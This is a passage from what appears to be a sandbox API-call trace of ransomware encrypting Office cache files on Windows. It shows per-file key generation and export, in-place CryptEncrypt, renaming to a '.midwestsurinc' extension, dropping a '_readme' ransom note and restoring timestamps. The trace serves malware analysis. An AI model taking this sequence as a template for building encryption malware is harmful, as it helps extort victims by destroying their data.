Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4db6cb00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x4db6cb00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf020c5d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5c00)) returned 1 [0096.683] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0096.683] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0096.683] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0096.683] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0096.683] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0096.683] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0096.683] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10451d8 [0096.683] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8*(dwLowDateTime=0xf020c5d0, dwHighDateTime=0x1d301be)) returned 1 [0096.683] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0096.683] CryptGenKey (in: hProv=0x601ec8, Algid=0x6610, dwFlags=0x1000001, phKey=0x174fb20 | out: phKey=0x174fb20*=0x60d2e0) returned 1 [0096.683] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x174fb1c | out: pbData=0x0*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0096.683] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x240) returned 0x107fd60 [0096.683] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0096.683] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x107fd60, pdwDataLen=0x174fb1c | out: pbData=0x107fd60*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0096.684] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0096.684] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0096.684] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0096.684] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x174fb28*=0) returned 0x0 [0096.684] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xd5c00) returned 0x1f50020 [0096.684] ReadFile (in: hFile=0x2e8, lpBuffer=0x1f50020, nNumberOfBytesToRead=0xd5c00, lpNumberOfBytesRead=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1f50020*, lpNumberOfBytesRead=0x174fb28*=0xd5c00, lpOverlapped=0x0) returned 1 [0096.793] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xd5c00) returned 0x2030020 [0096.841] CryptEncrypt (in: hKey=0x60d2e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2030020*, pdwDataLen=0x174fb24*=0xd5c00, dwBufLen=0xd6000 | out: pbData=0x2030020*, pdwDataLen=0x174fb24*=0xd5c10) returned 1 [0096.849] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xd5c40) returned 0x2110020 [0096.866] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0096.866] WriteFile (in: hFile=0x2e8, lpBuffer=0x2110020*, nNumberOfBytesToWrite=0xd5c00, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x2110020*, lpNumberOfBytesWritten=0x174fb28*=0xd5c00, lpOverlapped=0x0) returned 1 [0096.869] FlushFileBuffers (hFile=0x2e8) returned 1 [0097.342] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0097.343] NtClose (Handle=0x2e8) returned 0x0 [0097.348] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.midwestsurinc" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi.midwestsurinc")) returned 1 [0097.348] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.midwestsurinc", dwFileAttributes=0x2020) returned 1 [0097.348] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.midwestsurinc_readme", dwFileAttributes=0x80) returned 0 [0097.348] GetLastError () returned 0x2 [0097.349] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi.midwestsurinc_readme"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0xf86250, ftLastWriteTime.dwHighDateTime=0x18fe40, nFileSizeHigh=0x0, nFileSizeLow=0x174fb60)) returned 0 [0097.349] GetLastError () returned 0x2 [0097.349] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi.midwestsurinc_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0097.349] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0097.349] WriteFile (in: hFile=0x2e8, lpBuffer=0xf7fe10*, nNumberOfBytesToWrite=0x168, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0xf7fe10*, lpNumberOfBytesWritten=0x174fb28*=0x168, lpOverlapped=0x0) returned 1 [0097.350] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0097.350] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x1b) returned 0x184c620 [0097.350] WriteFile (in: hFile=0x2e8, lpBuffer=0x1030560*, nNumberOfBytesToWrite=0x2f9, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1030560*, lpNumberOfBytesWritten=0x174fb28*=0x2f9, lpOverlapped=0x0) returned 1 [0097.350] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c*(dwLowDateTime=0x58fe59f0, dwHighDateTime=0x1d5dff7)) returned 1 [0097.350] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0097.350] NtClose (Handle=0x2e8) returned 0x0 [0097.351] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.midwestsurinc_readme", dwFileAttributes=0x2020) returned 1 [0097.351] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1030560) returned 1 [0097.351] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10456e8) returned 1 [0097.351] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x2110020) returned 1 [0097.491] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0097.491] CryptDestroyKey (hKey=0x60d2e0) returned 1 [0097.491] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10451d8) returned 1 [0097.491] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969188) returned 1 [0097.492] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969290) returned 1 [0097.492] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0097.492] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543)) returned 1 [0097.492] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0097.492] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0097.492] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969290 [0097.492] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0097.492] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0097.492] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969290) returned 1 [0097.492] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0097.492] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543)) returned 1 [0097.492] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0097.493] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969290 [0097.493] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0097.493] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969188 [0097.493] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0097.493] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543)) returned 1 [0097.493] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0097.493] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0097.493] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0097.493] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0097.493] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0097.493] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0097.493] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10451d8 [0097.493] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8*(dwLowDateTime=0xf01be3d0, dwHighDateTime=0x1d301be)) returned 1 [0097.493] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0097.494] CryptGenKey (in: hProv=0x601ec8, Algid=0x6610, dwFlags=0x1000001, phKey=0x174fb20 | out: phKey=0x174fb20*=0x60d2e0) returned 1 [0097.494] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x174fb1c | out: pbData=0x0*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0097.494] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x240) returned 0x107fd60 [0097.494] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10456e8) returned 1 [0097.494] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x107fd60, pdwDataLen=0x174fb1c | out: pbData=0x107fd60*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0097.494] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0097.494] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0097.494] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0097.494] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x174fb28*=0) returned 0x0 [0097.494] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x580) returned 0xfa07a8 [0097.494] ReadFile (in: hFile=0x2e8, lpBuffer=0xfa07a8, nNumberOfBytesToRead=0x543, lpNumberOfBytesRead=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0xfa07a8*, lpNumberOfBytesRead=0x174fb28*=0x543, lpOverlapped=0x0) returned 1 [0097.496] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x580) returned 0x10733c0 [0097.496] CryptEncrypt (in: hKey=0x60d2e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x181a060*, pdwDataLen=0x174fb24*=0x543, dwBufLen=0x943 | out: pbData=0x181a060*, pdwDataLen=0x174fb24*=0x550) returned 1 [0097.496] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0097.496] WriteFile (in: hFile=0x2e8, lpBuffer=0xfa07a8*, nNumberOfBytesToWrite=0x543, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0xfa07a8*, lpNumberOfBytesWritten=0x174fb28*=0x543, lpOverlapped=0x0) returned 1 [0097.496] FlushFileBuffers (hFile=0x2e8) returned 1 [0097.499] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0097.499] NtClose (Handle=0x2e8) returned 0x0 [0097.500] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.midwestsurinc" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.midwestsurinc")) returned 1 [0097.501] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.midwestsurinc", dwFileAttributes=0x2020) returned 1 [0097.501] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.midwestsurinc_readme", dwFileAttributes=0x80) returned 0 [0097.501] GetLastError () returned 0x2 [0097.501] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.midwestsurinc_readme"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0xf86270, ftLastWriteTime.dwHighDateTime=0x18fe40, nFileSizeHigh=0x0, nFileSizeLow=0x174fb60)) returned 0 [0097.501] GetLastError () returned 0x2 [0097.501] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.midwestsurinc_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0097.501] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0097.501] WriteFile (in: hFile=0x2e8, lpBuffer=0xf7fe10*, nNumberOfBytesToWrite=0x168, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0xf7fe10*, lpNumberOfBytesWritten=0x174fb28*=0x168, lpOverlapped=0x0) returned 1 [0097.502] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0097.502] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x17) returned 0x1836160 [0097.502] WriteFile (in: hFile=0x2e8, lpBuffer=0x1030560*, nNumberOfBytesToWrite=0x2f5, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1030560*, lpNumberOfBytesWritten=0x174fb28*=0x2f5, lpOverlapped=0x0) returned 1 [0097.503] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c*(dwLowDateTime=0x591627b0, dwHighDateTime=0x1d5dff7)) returned 1 [0097.503] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0097.503] NtClose (Handle=0x2e8) returned 0x0 [0097.503] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.midwestsurinc_readme", dwFileAttributes=0x2020) returned 1 [0097.503] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1030560) returned 1 [0097.504] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0097.504] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa07a8) returned 1 [0097.504] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0097.504] CryptDestroyKey (hKey=0x60d2e0) returned 1 [0097.504] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10451d8) returned 1 [0097.504] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969290) returned 1 [0097.504] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969188) returned 1 [0097.504] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0097.504] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd02aea)) returned 1 [0097.504] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0097.504] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0097.504] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969188 [0097.504] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0097.504] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0097.504] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969188) returned 1 [0097.504] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0097.505] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd02aea)) returned 1 [0097.505] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0097.505] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969188 [0097.505] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0097.505] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969290 [0097.505] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0097.505] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd02aea)) returned 1 [0097.505] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0097.505] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0097.505] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0097.505] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0097.505] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0097.505] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0097.505] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10451d8 [0097.505] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8*(dwLowDateTime=0xf4f690d0, dwHighDateTime=0x1d301be)) returned 1 [0097.505] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 